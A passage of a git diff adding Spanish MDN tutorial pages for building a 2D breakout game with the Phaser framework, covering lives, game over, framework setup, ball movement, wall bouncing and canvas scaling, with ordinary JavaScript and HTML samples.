+<p>Estas almacenarán las vidas, el texto que muestra el número de vidas restante, y el texto que se muestra en pantalla cuando el jugador pierde todas sus vidas.</p>
+
+<h2 id="Definiendo_las_nuevas_etiquetas_de_texto">Definiendo las nuevas etiquetas de texto</h2>
+
+<p>Definir los textos es parecido a algo que ya hicimos en la lección de la <a href="https://developer.mozilla.org/en-US/docs/Games/Workflows/2D_Breakout_game_Phaser/The_score"> puntuación</a>. Añade las siguientes líneas debajo de la definición de <code>scoreText</code> dentro de la función <code>create()</code>:</p>
+
+<pre class="brush: js">livesText = game.add.text(game.world.width-5, 5, 'Lives: '+lives, { font: '18px Arial', fill: '#0095DD' });
+livesText.anchor.set(1,0);
+lifeLostText = game.add.text(game.world.width*0.5, game.world.height*0.5, 'Life lost, click to continue', { font: '18px Arial', fill: '#0095DD' });
+lifeLostText.anchor.set(0.5);
+lifeLostText.visible = false;
+</pre>
+
+<p>Los objetos <code>livesText</code> y <code>lifeLostText</code> se parecen mucho al <code>scoreText</code> — definen una posición en la pantalla, el texto actual a mostrar, y el estilo de la fuente. El primero está anclado en el borde superior derecho para alinearse con la pantalla y el segundo está centrado, ambos usan <code>anchor.set()</code>.</p>
+
+<p>El texto <code>lifeLostText</code> se mostrará solamente cuando se pierda la vida, así que su visibilidad al principio será <code>false</code>.</p>
+
+<h3 id="Haciendo_nuestro_estilo_de_texto_DRY">Haciendo nuestro estilo de texto DRY</h3>
+
+<p>Cómo probablemente hayas notado, estamos usando el mismo estilo para los tres textos: <code>scoreText</code>, <code>livesText</code> y <code>lifeLostText</code>. Si quisiéramos cambiar el tamaño de la fuente o el color tendríamos que hacerlo en muchos lugares. Para hacer eso más fácil de mantener en el futuro podemos crear una variable separada que almacenará nuestro estilo, la llamaremos <code>textStyle</code> y la colocaremos después de las definiciones de los textos:</p>
+
+<pre class="brush: js">textStyle = { font: '18px Arial', fill: '#0095DD' };
+</pre>
+
+<p>Ahora podemos usar esta variable para dar estilo a nuestros textos — actualiza tú código para que cada una de las múltiples instancias de estilo de tú texto sean reemplazadas por la variable:</p>
+
+<pre class="brush: js">scoreText = game.add.text(5, 5, 'Points: 0', textStyle);
+livesText = game.add.text(game.world.width-5, 5, 'Lives: '+lives, textStyle);
+livesText.anchor.set(1,0);
+lifeLostText = game.add.text(game.world.width*0.5, game.world.height*0.5, 'Life lost, click to continue', textStyle);
+lifeLostText.anchor.set(0.5);
+lifeLostText.visible = false;
+</pre>
+
+<p>De esta manera cambiando la fuente en una variable aplicará los cambios en todos los sitios donde se esté usando.</p>
+
+<h2 id="El_código_de_manejo_de_vidas">El código de manejo de vidas</h2>
+
+<p>Para implementar las vidas en nuestro juego, primero cambiaremos la función de bote de la pelota por el evento <code>onOutOfBounds</code>.En lugar de ejecutar una función anónima y mostrar un mensaje de alerta :</p>
+
+<pre class="brush: js"><s>ball.events.onOutOfBounds.add(function(){
+    alert('Game over!');
+    location.reload();
+}, this);</s>
+</pre>
+
+<p>Vamos a asignar una nueva función llamada <code>ballLeaveScreen</code>; borra el manejador de evento anterior (mostrado arriba) y sustitúyelo por la siguiente línea:</p>
+
+<pre class="brush: js">ball.events.onOutOfBounds.add(ballLeaveScreen, this);
+</pre>
+
+<p>Queremos decrementar el número de vidas cada vez que la pelota abandone el lienzo.Añade la definición de la función <code>ballLeaveScreen()</code> al final de tu código :</p>
+
+<pre class="brush: js">function ballLeaveScreen() {
+    lives--;
+    if(lives) {
+        livesText.setText('Lives: '+lives);
+        lifeLostText.visible = true;
+        ball.reset(game.world.width*0.5, game.world.height-25);
+        paddle.reset(game.world.width*0.5, game.world.height-5);
+        game.input.onDown.addOnce(function(){
+            lifeLostText.visible = false;
+            ball.body.velocity.set(150, -150);
+        }, this);
+    }
+    else {
+        alert('You lost, game over!');
+        location.reload();
+    }
+}
+</pre>
+
+<p>En lugar de mostrar el mensaje de alerta cuando pierdes una vida, primero quitaremos una vida del número actual y comprobaremos que no sea cero. Si lo es, quiere decir que el jugador tiene todavía algunas vidas y puede continuar jugando — verá el mensaje de pérdida de vida, las posiciones de la pelota y la paleta se reiniciarán en la pantalla y en la siguiente entrada (click o toque) el mensaje se ocultará y la pelota comenzará a moverse de nuevo.</p>
+
+<p>Cuando el número de vidas disponibles alcanza el cero, el juego termina y se muestra un mensaje de "game over".</p>
+
+<h2 id="Eventos">Eventos</h2>
+
+<p>Probablemente hayas notado las llamadas a los métodos <code>add()</code> y <code>addOnce()</code> en los dos bloques de código de arriba y te hayas preguntado en qué se diferencian. La diferencia es que el método <code>add()</code> vincula la función dada y hace que se ejecute cada vez que se produce el evento, mientras que  <code>addOnce()</code>  es útil cuando deseas que la función enlazada se ejecute solo una vez y luego se desvincule para que no se ejecute otra vez. En nuestro caso, en cada evento <code>outOfBounds</code> el <code>ballLeaveScreen</code> se ejecutará, pero cuando la pelota abandona la pantalla  solo queremos quitar el mensaje de la pantalla una sola vez.</p>
+
+<h2 id="Compare_tu_código">Compare tu código</h2>
+
+<p>Puedes consultar el código terminado de esta lección en la demo de abajo, y jugar para entender mejor cómo funciona:</p>
+
+<p>{{JSFiddleEmbed("https://jsfiddle.net/end3r/yk1c5n0b/","","400")}}</p>
+
+<h2 id="Próximos_pasos">Próximos pasos</h2>
+
+<p>Las vidas hacen el juego más indulgente — si pierdes una vida, todavía tienes dos más con las que continuar jugando. Ahora expandiremos la apariencia del juego añadiendo <a href="https://developer.mozilla.org/en-US/docs/Games/Workflows/2D_Breakout_game_Phaser/Animations_and_tweens">animaciones e interpolaciones</a>.</p>
+
+<p>{{PreviousNext("Games/Workflows/2D_Breakout_game_Phaser/Win_the_game", "Games/Workflows/2D_Breakout_game_Phaser/Animations_and_tweens")}}</p>
diff --git a/files/es/games/tutorials/2d_breakout_game_phaser/game_over/index.html b/files/es/games/tutorials/2d_breakout_game_phaser/game_over/index.html
new file mode 100644
index 0000000000..1b948ac63e
--- /dev/null
+++ b/files/es/games/tutorials/2d_breakout_game_phaser/game_over/index.html
@@ -0,0 +1,55 @@
+---
+title: Game over
+slug: Games/Tutorials/2D_breakout_game_Phaser/Game_over
+tags:
+  - 2D
+  - Canvas
+  - JavaScript
+  - Principiante
+  - Tutorial
+  - game over
+  - juego
+  - juego terminado
+translation_of: Games/Tutorials/2D_breakout_game_Phaser/Game_over
+---
+<div>{{GamesSidebar}}</div>
+
+<div>{{IncludeSubnav("/en-US/docs/Games")}}</div>
+
+<p>{{PreviousNext("Games/Workflows/2D_Breakout_game_Phaser/Player_paddle_and_controls", "Games/Workflows/2D_Breakout_game_Phaser/Build_the_brick_field")}}</p>
+
+<div class="summary">
+<p>Este es el paso numero <strong>ocho </strong>de los 16 del tutorial de <a href="https://developer.mozilla.org/en-US/docs/Games/Workflows/2D_Breakout_game_Phaser">Gamedev Phaser</a>. Puedes encontrar el código fuente de como debería verse, después de haber completado esta lección en <a href="https://github.com/end3r/Gamedev-Phaser-Content-Kit/blob/gh-pages/demos/lesson08.html">Gamedev-Phaser-Content-Kit/demos/lesson08.html</a>.</p>
+</div>
+
+<p>Para hacer el juego más interesante podemos introducir la habilidad de perder --- si no golpeas la pelota antes de que alcance el borde inferior de la pantalla, se acabará el juego.</p>
+
+<h2 id="Cómo_perder">Cómo perder</h2>
+
+<p>Para proporcionar la habilidad de perder, deberemos inhabilitar las bolas que colisionen con el borde inferior de la pantalla. Añade el siguiente código dentro de la función <code>create()</code>; justo después de definir los atributos de las bolas está bien:</p>
+
+<pre class="brush: js">game.physics.arcade.checkCollision.down = false;
+</pre>
+
+<p>Esto hará que a las tres paredes(arriba, izquierda y derecha) les rebote la bola, pero la cuarta pared (abajo) desaparecerá, dejando que la bola caiga fuera de la pantalla si la pala no lo alcanza. Necesitamos una forma de detectar esto y actuar en consecuencia. Añade las siguientes lineas justo debajo de la nueva linea, añadida anteriormente:</p>
+
+<pre class="brush: js">ball.checkWorldBounds = true;
+ball.events.onOutOfBounds.add(function(){
+    alert('Game over!');
+    location.reload();
+}, this);
+</pre>
+
+<p>Añadiendo esas lineas conseguiremos que la bola compruebe los límites de su mundo(en nuestro caso la pantalla) y ejecute la función vinculada al evento <code>onOutOfBounds</code>. Cuando hagas click en el mensaje de alerta resultante, la página se reseteará, asi podrás jugar otra vez.</p>
+
+<h2 id="Compara_tu_código">Compara tu código</h2>
+
+<p>Puedes comprobar el código final para esta lección en la demo de abajo, y jugar con ello para entender mejor como funciona:</p>
+
+<p>{{JSFiddleEmbed("https://jsfiddle.net/end3r/436bckb7/","","400")}}</p>
+
+<h2 id="Siguientes_pasos">Siguientes pasos</h2>
+
+<p>Ahora el juego básico está hecho, hagamos mas interesante el caso introduciendo ladrillos para romper --- es hora de <a href="https://developer.mozilla.org/en-US/docs/Games/Workflows/2D_Breakout_game_Phaser/Build_the_brick_field">construir el campo de ladrillos</a>.</p>
+
+<p>{{PreviousNext("Games/Workflows/2D_Breakout_game_Phaser/Player_paddle_and_controls", "Games/Workflows/2D_Breakout_game_Phaser/Build_the_brick_field")}}</p>
diff --git a/files/es/games/tutorials/2d_breakout_game_phaser/index.html b/files/es/games/tutorials/2d_breakout_game_phaser/index.html
new file mode 100644
index 0000000000..5d539b7442
--- /dev/null
+++ b/files/es/games/tutorials/2d_breakout_game_phaser/index.html
@@ -0,0 +1,63 @@
+---
+title: 2D breakout game using Phaser
+slug: Games/Tutorials/2D_breakout_game_Phaser
+tags:
+  - 2D
+  - Beginner
+  - Canvas
+  - Games
+  - JavaScript
+  - NeedsTranslation
+  - Phaser
+  - TopicStub
+  - Tutorial
+translation_of: Games/Tutorials/2D_breakout_game_Phaser
+---
+<div>{{GamesSidebar}}</div><div>{{IncludeSubnav("/en-US/docs/Games")}}</div>
+
+<p>{{Next("Games/Workflows/2D_Breakout_game_Phaser/Initialize_the_framework")}}</p>
+
+<p class="summary">In this step-by-step tutorial we create a simple mobile <strong>MDN Breakout</strong> game written in JavaScript, using the <a href="http://phaser.io/">Phaser</a> framework.</p>
+
+<p>Every step has editable, live samples available to play with so you can see what the intermediate stages should look like. You will learn the basics of using the Phaser framework to implement fundamental game mechanics like rendering and moving images, collision detection, control machanisms, framework-specific helper functions, animations and tweens, and winning and losing states.</p>
+
+<p>To get the most out of this series of articles you should already have basic to intermediate <a href="/en-US/Learn/Getting_started_with_the_web/JavaScript_basics">JavaScript</a> knowledge. After working through this tutorial you should be able to build your own simple Web games with Phaser.</p>
+
+<p><img alt="Gameplay screen from the game MDN Breakout created with Phaser where you can use your paddle to bounce the ball and destroy the brick field, with keeping the points and lives." src="https://mdn.mozillademos.org/files/11323/mdn-breakout-phaser.png" style="display: block; height: 320px; margin: 0px auto; width: 480px;"></p>
+
+<h2 id="Lesson_details">Lesson details</h2>
+
+<p>All the lessons — and the different versions of the <a href="https://end3r.github.io/Gamedev-Phaser-Content-Kit/demos/lesson16.html">MDN Breakout game</a> we are building together — are <a href="https://end3r.github.io/Gamedev-Phaser-Content-Kit/demos/">available on GitHub</a>:</p>
+
+<ol>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Games/Workflows/2D_Breakout_game_Phaser/Initialize_the_framework">Initialize the framework</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Games/Workflows/2D_Breakout_game_Phaser/Scaling">Scaling</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Games/Workflows/2D_Breakout_game_Phaser/Load_the_assets_and_print_them_on_screen">Load the assets and print them on screen</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Games/Workflows/2D_Breakout_game_Phaser/Move_the_ball">Move the ball</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Games/Workflows/2D_Breakout_game_Phaser/Physics">Physics</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Games/Workflows/2D_Breakout_game_Phaser/Bounce_off_the_walls">Bounce off the walls</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Games/Workflows/2D_Breakout_game_Phaser/Player_paddle_and_controls">Player paddle and controls</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Games/Workflows/2D_Breakout_game_Phaser/Game_over">Game over</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Games/Workflows/2D_Breakout_game_Phaser/Build_the_brick_field">Build the brick field</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Games/Workflows/2D_Breakout_game_Phaser/Collision_detection">Collision detection</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Games/Workflows/2D_Breakout_game_Phaser/The_score">The score</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Games/Workflows/2D_Breakout_game_Phaser/Win_the_game">Win the game</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Games/Workflows/2D_Breakout_game_Phaser/Extra_lives">Extra lives</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Games/Workflows/2D_Breakout_game_Phaser/Animations_and_tweens">Animations and tweens</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Games/Workflows/2D_Breakout_game_Phaser/Buttons">Buttons</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Games/Workflows/2D_Breakout_game_Phaser/Randomizing_gameplay">Randomizing gameplay</a></li>
+</ol>
+
+<p>As a note on learning paths — starting with pure JavaScript is the best way to get a solid knowledge of web game development. If you are not already familiar with pure JavaScript game development, we'd suggest that you first work through this series' counterpart, <a href="/en-US/docs/Games/Workflows/2D_Breakout_game_pure_JavaScript">2D breakout game using pure JavaScript</a>.</p>
+
+<p>After that, you can pick any framework you like and use it for your projects; we've chosen Phaser as it is a good solid framework, with a good support and community available, and a good set of plugins. Frameworks speed up development time and help take care of the boring parts, allowing you to concentrate on the fun stuff. However, frameworks are not always perfect, so if something unexpected happens or you want to write some functionality that the framework doesn't provide, you'll need some pure JavaScript knowledge.</p>
+
+<div class="note">
+<p><strong>Note</strong>: This series of articles can be used as material for hands-on game development workshops. You can also make use of the <a href="https://github.com/end3r/Gamedev-Phaser-Content-Kit">Gamedev Phaser Content Kit</a> based on this tutorial if you want to give a talk about game development with Phaser.</p>
+</div>
+
+<h2 id="Next_steps">Next steps</h2>
+
+<p>Ok, let's get started! Head to the first part of the series — <a href="/en-US/docs/Games/Workflows/2D_Breakout_game_Phaser/Initialize_the_framework">Initialize the framework</a>.</p>
+
+<p>{{Next("Games/Workflows/2D_Breakout_game_Phaser/Initialize_the_framework")}}</p>
diff --git a/files/es/games/tutorials/2d_breakout_game_phaser/initialize_the_framework/index.html b/files/es/games/tutorials/2d_breakout_game_phaser/initialize_the_framework/index.html
new file mode 100644
index 0000000000..efa8dc6cd9
--- /dev/null
+++ b/files/es/games/tutorials/2d_breakout_game_phaser/initialize_the_framework/index.html
@@ -0,0 +1,81 @@
+---
+title: Inicializar el framework
+slug: Games/Tutorials/2D_breakout_game_Phaser/Initialize_the_framework
+translation_of: Games/Tutorials/2D_breakout_game_Phaser/Initialize_the_framework
+---
+<div>{{GamesSidebar}}</div><div>{{IncludeSubnav("/en-US/docs/Games")}}</div>
+
+<p>{{PreviousNext("Games/Workflows/2D_Breakout_game_Phaser", "Games/Workflows/2D_Breakout_game_Phaser/Scaling")}}</p>
+
+<div class="summary">
+<p>Este es el primero de los 16 tutoriales para aprender a usar <a href="https://developer.mozilla.org/en-US/docs/Games/Workflows/2D_Breakout_game_Phaser">Gamedev Phaser</a>. Luego de completar este tutorial, puede encontrar el código fuente de esta sección en <a href="https://github.com/end3r/Gamedev-Phaser-Content-Kit/blob/gh-pages/demos/lesson01.html">Gamedev-Phaser-Content-Kit/demos/lesson01.html</a>.</p>
+</div>
+
+<p><span class="seoSummary">Antes de que podamos comenzar a escribir la funcionalidad del juego, necesitamos crear una estructura básica para procesarlo. Esto podemos hacerlo usando HTML — el framework de Phaser va a generar el elemento {{htmlelement("canvas")}} requerido.</span></p>
+
+<h2 id="El_HTML_del_juego">El HTML del juego</h2>
+
+<p>La estructura del elemento HTML es bastante simple, ya que el juego va ser renderizado por completo en el elemento {{htmlelement("canvas")}} generado por el framework. Utilizando su editor de texto favorito, cree un nuevo documento HTML, guárdelo como <code>index.html</code>, en una ubicación sensata y agregue el siguiente código:</p>
+
+<pre class="brush: html">&lt;!DOCTYPE html&gt;
+&lt;html&gt;
+&lt;head&gt;
+    &lt;meta charset="utf-8" /&gt;
+    &lt;title&gt;Gamedev Phaser Workshop - lesson 01: Initialize the framework&lt;/title&gt;
+    &lt;style&gt;* { padding: 0; margin: 0; }&lt;/style&gt;
+    &lt;script src="js/phaser.min.js"&gt;&lt;/script&gt;
+&lt;/head&gt;
+&lt;body&gt;
+&lt;script&gt;
+    var game = new Phaser.Game(480, 320, Phaser.AUTO, null, {
+      preload: preload, create: create, update: update
+    });
+    function preload() {}
+    function create() {}
+    function update() {}
+&lt;/script&gt;
+&lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<h2 id="Descargando_el_código_de_Phaser">Descargando el código de Phaser</h2>
+
+<p>A continuación, necesitamos pasar por el proceso de descargar el código fuente de Phaser y aplicarlo a nuestro documento HTML.</p>
+
+<ol>
+ <li>Ir a la página de descarga del <a href="http://phaser.io/download/stable">Phaser download page</a>.</li>
+ <li>Elegir la opción que mas le convenga — Recomendaría la opción <em>min.js</em> ya que mantiene el codigo más pequeño, y es poco probable que tenga que pasar por el código fuente de todos modos.</li>
+ <li>Guarde el código Phaser dentro de un directorio<code>/js</code> en la misma ubicación que su archivo <code>index.html</code>.</li>
+ <li>Actualice el valor <code>src</code> del primer elemento {{htmlelement("script")}} como se muestra arriba.</li>
+</ol>
+
+<h2 id="Caminando_a_través_de_lo_que_tenemos_hasta_ahora">Caminando a través de lo que tenemos hasta ahora</h2>
+
+<p>En este punto, tenemos un <code>charset</code> definido, {{htmlelement("title")}} y algunos CSS básicos en el encabezado para restablecer el <code>margin</code> y el <code>padding</code>. También tenemos un elemento {{htmlelement("script")}} para aplicar el código fuente del Phaser a la página. El cuerpo contiene un segundo elemento {{htmlelement("script")}}, donde vamos a escribir el codigo JavaScript para renderizar el juego y controlarlo.</p>
+
+<p>El elemento {{htmlelement("canvas")}} es generado automaticamente por el framework. Estamos inicializandolo creando un nuevo objeto <code>Phaser.Game</code> y asignandolo a la variable del juego. Los parametros son:</p>
+
+<ul>
+ <li>El ancho y el alto para configurar el {{htmlelement("canvas")}}.</li>
+ <li>El método de renderizado. Las otras tres opciones son <code>AUTO</code>, <code>CANVAS</code> y <code>WEBGL</code>. Podemos establecer uno de los dos últimos explícitamente o usar <code>AUTO</code> para dejar que Phaser decida cuál usar. Usualmente usa WebGL si está disponible en el navegador, volviendo a Canvas 2D si no es así.</li>
+ <li>El <code>id</code> del {{htmlelement("canvas")}} se utilizará para renderizar si ya existe en la pagina (hemos especificado null porque queremos que Phaser cree el suyo propio).</li>
+ <li>Los nombres que se usarán para las tres funciones claves del Phaser que cargan e incian el juego, y actualizan el bucle del juego en cada fotograma; usaremos los mismos nombres para mantenerlo limpio.
+  <ul>
+   <li><code>preload</code> se encargará de precargar los assets</li>
+   <li><code>create</code> se ejecuta una vez cuando todo está cargado y listo</li>
+   <li><code>update</code> se ejecuta en cada fotograma.</li>
+  </ul>
+ </li>
+</ul>
+
+<h2 id="Compara_tu_código">Compara tu código</h2>
+
+<p>Aquí está el código fuente completo de la primera lección, ejecutándose en un JSFiddle:</p>
+
+<p>{{JSFiddleEmbed("https://jsfiddle.net/end3r/h6cwzv2b/","","400")}}</p>
+
+<h2 id="Pasos_siguientes">Pasos siguientes</h2>
+
+<p>Ahora hemos configurado el HTML básico y aprendido un poco sobre la inicialización de Phaser, continuemos con la segunda lección y aprendamos sobre <a href="https://developer.mozilla.org/en-US/docs/Games/Workflows/2D_Breakout_game_Phaser/Scaling">scaling</a>.</p>
+
+<p>{{PreviousNext("Games/Workflows/2D_Breakout_game_Phaser", "Games/Workflows/2D_Breakout_game_Phaser/Scaling")}}</p>
diff --git a/files/es/games/tutorials/2d_breakout_game_phaser/move_the_ball/index.html b/files/es/games/tutorials/2d_breakout_game_phaser/move_the_ball/index.html
new file mode 100644
index 0000000000..c211b0512d
--- /dev/null
+++ b/files/es/games/tutorials/2d_breakout_game_phaser/move_the_ball/index.html
@@ -0,0 +1,51 @@
+---
+title: Move the ball
+slug: Games/Tutorials/2D_breakout_game_Phaser/Move_the_ball
+tags:
+  - 2D
+  - Emocionante
+  - JavaScript
+  - Lienzo
+  - Phaser
+  - Principiante
+  - Tutorial
+  - juegos
+translation_of: Games/Tutorials/2D_breakout_game_Phaser/Move_the_ball
+---
+<div>{{GamesSidebar}}</div>
+
+<div>{{IncludeSubnav("/en-US/docs/Games")}}</div>
+
+<p>{{PreviousNext("Games/Workflows/2D_Breakout_game_Phaser/Load_the_assets_and_print_them_on_screen", "Games/Workflows/2D_Breakout_game_Phaser/Physics")}}</p>
+
+<div class="summary">
+<p>Este es el <strong>4º </strong>paso sobre 16 del tutorial <a href="https://developer.mozilla.org/en-US/docs/Games/Workflows/2D_Breakout_game_Phaser">Gamedev Phaser</a>. Puedes encontrar el código fuente tal y como quedaría al completar la lección en <a href="https://github.com/end3r/Gamedev-Phaser-Content-Kit/blob/gh-pages/demos/lesson04.html">Gamedev-Phaser-Content-Kit/demos/lesson04.html</a>.</p>
+</div>
+
+<p><span class="seoSummary">Tenemos a nuestra pelota azul pintada en la pantalla, pero sin hacer nada — Estaría bien hacerla moverse de algún modo. Este artículo muestra como hacerlo.</span></p>
+
+<h2 id="Actualizando_la_posición_de_la_pelota_en_cada_marco">Actualizando la posición de la pelota en cada marco</h2>
+
+<p>¿Recuerdas la función <code>update()</code> y su definición? El código del interior del cuadro se ejecuta en cada cuadro, así que ese es el mejor lugar para colocar el código que actualiza la posición de la pelota en la pantalla. Añade las siguientes lineas a la función <code>update()</code>, como se muestra a continuación:</p>
+
+<pre class="brush: js">function update() {
+    ball.x += 1;
+    ball.y += 1;
+}
+</pre>
+
+<p>El código de arriba incrementa en 1 las propiedades <code>x</code> e <code>y</code> , las cuales representan las coordenadas de la pelota en el lienzo, en cada cuadro. Vuelve a cargar el index.html y deberías ver la pelota rodando a través de la pantalla.</p>
+
+<h2 id="Compara_tú_código">Compara tú código</h2>
+
+<p>Puedes comprobar el código terminado de esta lección en la demo de abajo, y jugar para entender mejor cómo funciona:</p>
+
+<p>{{JSFiddleEmbed("https://jsfiddle.net/end3r/g1cfp0vv/","","400")}}</p>
+
+<h2 id="Próximos_pasos">Próximos pasos</h2>
+
+<p>El siguiente paso es añadir una detección básica de colisión, para que la pelota pueda rebotar con las paredes.Esto nos llevará unas cuántas líneas de código — un paso significativamente más complejo que lo que hemos visto hasta ahora especialmente si queremos añadir la paleta y colisiones con los ladrillos — pero afortunadamente Phaser nos permite hacerlo de una forma mucho más sencilla que si lo quisieramos hacer usando JavaScript puro.</p>
+
+<p>En cualquier caso, antes de hacer todo esto debemos introducir los motores de Física de Phaser y hacer un poco de trabajo de configuración.</p>
+
+<p>{{PreviousNext("Games/Workflows/2D_Breakout_game_Phaser/Load_the_assets_and_print_them_on_screen", "Games/Workflows/2D_Breakout_game_Phaser/Physics")}}</p>
diff --git a/files/es/games/tutorials/2d_breakout_game_phaser/rebotar_en_las_paredes/index.html b/files/es/games/tutorials/2d_breakout_game_phaser/rebotar_en_las_paredes/index.html
new file mode 100644
index 0000000000..0276d5dc7f
--- /dev/null
+++ b/files/es/games/tutorials/2d_breakout_game_phaser/rebotar_en_las_paredes/index.html
@@ -0,0 +1,51 @@
+---
+title: Rebotar en las paredes
+slug: Games/Tutorials/2D_breakout_game_Phaser/Rebotar_en_las_paredes
+tags:
+  - 2D
+  - Canvas
+  - JavaScript
+  - Phaser
+  - Principiante
+  - Tutorial
+  - fuerte
+  - juegos
+translation_of: Games/Tutorials/2D_breakout_game_Phaser/Bounce_off_the_walls
+---
+<div>{{GamesSidebar}}</div>
+
+<div>{{IncludeSubnav("/en-US/docs/Games")}}</div>
+
+<p>{{PreviousNext("Games/Workflows/2D_Breakout_game_Phaser/Physics", "Games/Workflows/2D_Breakout_game_Phaser/Player_paddle_and_controls")}}</p>
+
+<div class="summary">
+<p>Este es el <strong>paso 6</strong> de 16 del <a href="https://developer.mozilla.org/en-US/docs/Games/Workflows/2D_Breakout_game_Phaser">tutorial de Gamedev Phaser</a>. Puedes encontrar el código fuente como debería verse después de completar esta lección en <a href="https://github.com/end3r/Gamedev-Phaser-Content-Kit/blob/gh-pages/demos/lesson06.html">Gamedev-Phaser-Content-Kit/demos/lesson06.html</a>.</p>
+</div>
+
+<p>Ahora que las físicas han sido introducidas,<span class="seoSummary">podemos empezar a implementar la detección de colisión en el juego — </span>primero miraremos las paredes<span class="seoSummary">.</span></p>
+
+<h2 id="Rebotando_en_las_fronteras_del_mundo">Rebotando en las fronteras del mundo</h2>
+
+<p>La forma más fácil de hacer que nuestra bola rebote en las paredes es decirle al marco que queremos tratar los límites del elemento  {{htmlelement("canvas")}} como paredes y no dejar que la pelota pase por ellos.  En Phaser esto se puede puede lograr usando la propiedad <code>collideWorldsBound</code>. Añade esta linea justo después de la llamada al método <code>game.physics.enable()</code> existente:</p>
+
+<pre class="brush: js">ball.body.collideWorldBounds = true;
+</pre>
+
+<p>Ahora la bola se detendrá en el borde de la pantalla en lugar de desaparecer, pero no rebota. Para que esto ocurra tenemos que configurar su rebote. Añade la siguiente línea debajo de la anterior:</p>
+
+<pre class="brush: js">ball.body.bounce.set(1);
+</pre>
+
+<p>Intenta recargar index.html otra vez — ahora deberías ver la pelota rebotando en todas las paredes y moviéndose dentro del área del lienzo.</p>
+
+<h2 id="Compara_tu_código">Compara tu código</h2>
+
+<p>Puedes consultar el código terminado para esta lección en la demostración en vivo a continuación, y jugar con él para comprender mejor cómo funciona:</p>
+
+<p>{{JSFiddleEmbed("https://jsfiddle.net/end3r/dcw36opz/","","400")}}</p>
+
+<h2 id="Próximos_pasos">Próximos pasos</h2>
+
+<p>Esto está empezando a parecerse más a un juego ahora, Pero no podemos controlarlo de ninguna manera — es hora de que introduzacamos <a href="https://developer.mozilla.org/en-US/docs/Games/Workflows/2D_Breakout_game_Phaser/Player_paddle_and_controls">reproductor de paletas y controles</a>.</p>
+
+<p>{{PreviousNext("Games/Workflows/2D_Breakout_game_Phaser/Physics", "Games/Workflows/2D_Breakout_game_Phaser/Player_paddle_and_controls")}}</p>
diff --git a/files/es/games/tutorials/2d_breakout_game_phaser/scaling/index.html b/files/es/games/tutorials/2d_breakout_game_phaser/scaling/index.html
new file mode 100644
index 0000000000..bec5641a07
--- /dev/null
+++ b/files/es/games/tutorials/2d_breakout_game_phaser/scaling/index.html
@@ -0,0 +1,56 @@
+---
+title: Scaling
+slug: Games/Tutorials/2D_breakout_game_Phaser/Scaling
+translation_of: Games/Tutorials/2D_breakout_game_Phaser/Scaling
+---
+<div>{{GamesSidebar}}</div><div>{{IncludeSubnav("/en-US/docs/Games")}}</div>
+
+<p>{{PreviousNext("Games/Workflows/2D_Breakout_game_Phaser/Initialize_the_framework", "Games/Workflows/2D_Breakout_game_Phaser/Load_the_assets_and_print_them_on_screen")}}</p>
+
+<div class="summary">
+<p>Este es el <strong>2do paso</strong> de los 16 del tutorial <a href="https://developer.mozilla.org/en-US/docs/Games/Workflows/2D_Breakout_game_Phaser">Gamedev Phaser tutorial</a>. Puede encontrar el código fuente como debería verse luego de completar esta lección en <a href="https://github.com/end3r/Gamedev-Phaser-Content-Kit/blob/gh-pages/demos/lesson02.html">Gamedev-Phaser-Content-Kit/demos/lesson02.html</a>.</p>
+</div>
+
+<p><span class="seoSummary">Scaling se refiere a como el lienzo del juego se escalará en diferentes tamaños de pantalla. Podemos hacer que la escala del juego se ajuste automáticamente a cualquier tamaño de pantalla durante la etapa de precarga por lo que no debemos preocuparnos más tarde.</span></p>
+
+<h2 id="El_objeto_scale_de_Phaser">El objeto scale de Phaser</h2>
+
+<p>Hay un objeto especial <code>scale</code> disponible en Phaser con algunos métodos prácticos y propiedades disponibles. Actualice su función <code>preload()</code> existente de la siguiente manera:</p>
+
+<pre class="brush: js">function preload() {
+    game.scale.scaleMode = Phaser.ScaleManager.SHOW_ALL;
+    game.scale.pageAlignHorizontally = true;
+    game.scale.pageAlignVertically = true;
+}
+</pre>
+
+<p><code>scaleMode</code> tiene algunas opciones diferentes disponibles para ver como se puede escalar el Canvas (lienzo):</p>
+
+<ul>
+ <li><code>NO_SCALE</code> — nada está escalado.</li>
+ <li><code>EXACT_FIT</code> — escala el lienzo para llenar todo el espacio disponible tanto vertical como horizontalmente, sin conservar la relación de aspecto.</li>
+ <li><code>SHOW_ALL</code> — escala el lienzo, pero mantiene intacta la relación de aspecto, por lo que las imagenes no se verán sesgadas como en el modo anterior. Puede haber franjas negras visibles en los bordes de la pantalla, pero podemos vivir con eso.</li>
+ <li><code>RESIZE</code> — creates the canvas with the same size as the available width and height, so you have to place the objects inside your game dynamically; this is more of an advanced mode.</li>
+ <li><code>USER_SCALE</code> — le permite tener una escala dinámica personalizada, calculando el tamaño, la escala y la relación por su cuenta; de nuevo, esto es mas un modo avanzado. </li>
+</ul>
+
+<p>Las otras dos lineas de código en la función <code>preload()</code> son responsables de alinear el elemento canvas horizontal y verticalmente, por lo que siempre se centra en la pantalla independientemente del tamaño.</p>
+
+<h2 id="Agregar_un_color_de_fondo_de_lienzo_personalizado">Agregar un color de fondo de lienzo personalizado</h2>
+
+<p>También podemos agregar un color de fondo personalizado a nuestro lienzo, por lo que no se mantendrá negro. El objeto <code>stage</code> tiene una propiedad <code>backgroundColor</code> para este propósito, que podemos establecer usando la sintaxis de definición de color de CSS. Agregue la siguiente línea debajo de las otras tres que agregó anteriormente:</p>
+
+<pre class="brush: js">game.stage.backgroundColor = '#eee';
+</pre>
+
